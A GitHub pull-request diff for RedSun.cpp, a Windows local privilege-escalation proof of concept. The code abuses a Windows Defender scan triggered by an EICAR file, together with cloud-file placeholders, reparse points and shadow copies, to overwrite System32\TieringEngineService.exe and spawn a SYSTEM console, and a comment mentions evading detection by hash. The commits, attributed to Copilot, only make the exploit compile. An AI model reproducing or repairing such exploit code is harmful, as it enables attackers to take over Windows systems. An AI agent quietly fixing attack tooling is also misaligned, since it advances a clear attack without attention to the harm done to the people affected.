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Fix Windows Unicode API usage and ntstatus header conflicts #2

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Merged
mostwise merged 2 commits into from
Apr 30, 2026
Merged

Fix Windows Unicode API usage and ntstatus header conflicts #2

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ef643fd
Fix Windows API Unicode usage
Copilot Apr 30, 2026
fef5547
Align CreateProcessAsUserW usage
Copilot Apr 30, 2026
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52 changes: 27 additions & 25 deletions RedSun.cpp
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Original file line number Diff line number Diff line change
Expand Up @@ -5,13 +5,15 @@
// Windows Defender from picking up on it just because of its
// hash.

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <conio.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cfapi.h>
#define _CRT_SECURE_NO_WARNINGS
#define WIN32_NO_STATUS
#include <iostream>
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <conio.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cfapi.h>

#pragma comment(lib,"synchronization.lib")
#pragma comment(lib,"sas.lib")
Expand Down Expand Up @@ -73,8 +75,8 @@ typedef struct _REPARSE_DATA_BUFFER {



HMODULE h = LoadLibrary(L"ntdll.dll");
HMODULE hm = GetModuleHandle(L"ntdll.dll");
HMODULE h = LoadLibraryW(L"ntdll.dll");
HMODULE hm = GetModuleHandleW(L"ntdll.dll");
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
PHANDLE DirectoryHandle,
ACCESS_MASK DesiredAccess,
Expand Down Expand Up @@ -518,7 +520,7 @@ void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000)
void LaunchConsoleInSessionId()
{

HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hpipe = CreateFileW(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hpipe == INVALID_HANDLE_VALUE)
return;
DWORD sessionid = 0;
Expand All @@ -541,9 +543,9 @@ void LaunchConsoleInSessionId()
return;
}

STARTUPINFO si = { 0 };
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
CreateProcessAsUserW(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

CloseHandle(hnewtoken);

Expand Down Expand Up @@ -591,12 +593,12 @@ void LaunchTierManagementEng()

int main()
{
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);
HANDLE hpipe = CreateNamedPipeW(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);
if (hpipe == INVALID_HANDLE_VALUE)
return 1;

wchar_t workdir[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH);
ExpandEnvironmentStringsW(L"%TEMP%\\RS-", workdir, MAX_PATH);

GUID uid = { 0 };
wchar_t wuid[100] = { 0 };
Expand All @@ -605,17 +607,17 @@ int main()
wcscat(workdir, wuid);
wchar_t filename[] = L"TieringEngineService.exe";
wchar_t foo[MAX_PATH];
wsprintf(foo, L"%ws\\%ws", workdir, filename);
wsprintfW(foo, L"%ws\\%ws", workdir, filename);

DWORD tid = 0;
HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid);

if (!CreateDirectory(workdir, NULL))
if (!CreateDirectoryW(workdir, NULL))
{
printf("Failed to create workdir");
return 1;
}
HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hfile = CreateFileW(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hfile == INVALID_HANDLE_VALUE)
{
printf("Failed create spoof work file.\n");
Expand All @@ -627,7 +629,7 @@ int main()
WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);

// trigger AV response
CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
CreateFileW(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0)
{
printf("PoC timed out, is real time protection enabled ?");
Expand Down Expand Up @@ -656,9 +658,9 @@ int main()
InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL);

wchar_t _tmp[MAX_PATH] = { 0 };
wsprintf(_tmp, L"\\??\\%s.TMP", workdir);
MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);
if (!CreateDirectory(workdir, NULL))
wsprintfW(_tmp, L"\\??\\%s.TMP", workdir);
MoveFileExW(workdir, _tmp, MOVEFILE_REPLACE_EXISTING);
if (!CreateDirectoryW(workdir, NULL))
{
printf("Failed to re-create directory.\n");
return 1;
Expand Down Expand Up @@ -689,7 +691,7 @@ int main()

{
wchar_t _tmp[MAX_PATH] = { 0 };
wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir);
wsprintfW(_tmp, L"\\??\\%s.TEMP2", workdir);

PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
Expand Down Expand Up @@ -768,10 +770,10 @@ int main()


wchar_t mx[MAX_PATH] = { 0 };
GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
GetModuleFileNameW(GetModuleHandleW(NULL), mx, MAX_PATH);
wchar_t mx2[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
CopyFile(mx, mx2, FALSE);
ExpandEnvironmentStringsW(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
CopyFileW(mx, mx2, FALSE);
LaunchTierManagementEng();
Sleep(2000);
CloseHandle(hpipe);
Expand Down
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